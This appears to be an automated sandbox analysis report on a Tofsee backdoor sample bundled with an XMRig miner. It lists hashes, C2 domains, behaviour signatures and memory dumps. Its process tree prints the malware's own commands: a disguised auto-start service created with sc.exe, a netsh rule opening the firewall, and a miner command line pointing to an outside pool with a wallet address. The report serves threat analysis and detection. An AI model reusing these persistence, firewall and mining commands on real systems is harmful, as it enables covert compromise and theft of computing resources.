Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    13-05-2023 08:51

General

  • Target

    file.exe

  • Size

    285KB

  • MD5

    a21e695f7a2af53e5208781c8a75da08

  • SHA1

    ad5000552a0b6dd28c8909287477ea9834b5ef48

  • SHA256

    f61b790784033096fb5f18ac2c17fa89b99a8ecebdd0e30148fe10133d42e8c0

  • SHA512

    875e52bd6bf5d15472adbf9a9a97f73c2af33e4629c54a43e3de4da41cad638ae27c55275725d3fc9400d690c3f4060161e52c928cdcc0b52be7838d8b952f59

  • SSDEEP

    6144:i2W+rLe/H5vsW/n/8d2f3f0nxcVoR9tw:i23y/Z0u/pf3Axc+hw

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mduzhyw\
      2⤵
        PID:1284
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\szgjymfp.exe" C:\Windows\SysWOW64\mduzhyw\
        2⤵
          PID:1748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mduzhyw binPath= "C:\Windows\SysWOW64\mduzhyw\szgjymfp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mduzhyw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mduzhyw
          2⤵
          • Launches sc.exe
          PID:1872
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1720
      • C:\Windows\SysWOW64\mduzhyw\szgjymfp.exe
        C:\Windows\SysWOW64\mduzhyw\szgjymfp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1868
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1532
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1736

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\szgjymfp.exe

        Filesize

        11.6MB

        MD5

        f03719ec3a0558a23285e1f65837ec5e

        SHA1

        4e0d3c087c89d969117a1173ffff4e6c7df32d2d

        SHA256

        59fe6aebe5d968ef37f72e16bda8acbda528697263932899a77f10fa0e2ec2b6

        SHA512

        a2b884c52499a2c53b6fe238db5144ee86b399b2adc746f585114e998d495feddeffbdc14eaf42316738fd4086108c055cae0b2b0a1680dabab28eb9ce485377

      • C:\Windows\SysWOW64\mduzhyw\szgjymfp.exe

        Filesize

        11.6MB

        MD5

        f03719ec3a0558a23285e1f65837ec5e

        SHA1

        4e0d3c087c89d969117a1173ffff4e6c7df32d2d

        SHA256

        59fe6aebe5d968ef37f72e16bda8acbda528697263932899a77f10fa0e2ec2b6

        SHA512

        a2b884c52499a2c53b6fe238db5144ee86b399b2adc746f585114e998d495feddeffbdc14eaf42316738fd4086108c055cae0b2b0a1680dabab28eb9ce485377

      • memory/1532-89-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1532-61-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1532-88-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-63-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1532-67-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1532-107-0x0000000000320000-0x0000000000327000-memory.dmp

        Filesize

        28KB

      • memory/1532-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1532-69-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1532-71-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/1532-106-0x0000000005800000-0x0000000005C0B000-memory.dmp

        Filesize

        4.0MB

      • memory/1532-74-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/1532-90-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-79-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-82-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-83-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-84-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-85-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-86-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-87-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-75-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/1532-103-0x0000000005800000-0x0000000005C0B000-memory.dmp

        Filesize

        4.0MB

      • memory/1532-77-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

      • memory/1532-91-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-92-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-93-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-94-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-96-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-95-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-97-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-98-0x0000000000300000-0x0000000000310000-memory.dmp

        Filesize

        64KB

      • memory/1532-99-0x0000000000310000-0x0000000000315000-memory.dmp

        Filesize

        20KB

      • memory/1532-102-0x0000000000310000-0x0000000000315000-memory.dmp

        Filesize

        20KB

      • memory/1736-111-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-112-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-119-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-120-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-121-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-122-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-124-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1736-123-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1740-60-0x0000000000400000-0x0000000002363000-memory.dmp

        Filesize

        31.4MB

      • memory/1740-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1868-64-0x0000000000400000-0x0000000002363000-memory.dmp

        Filesize

        31.4MB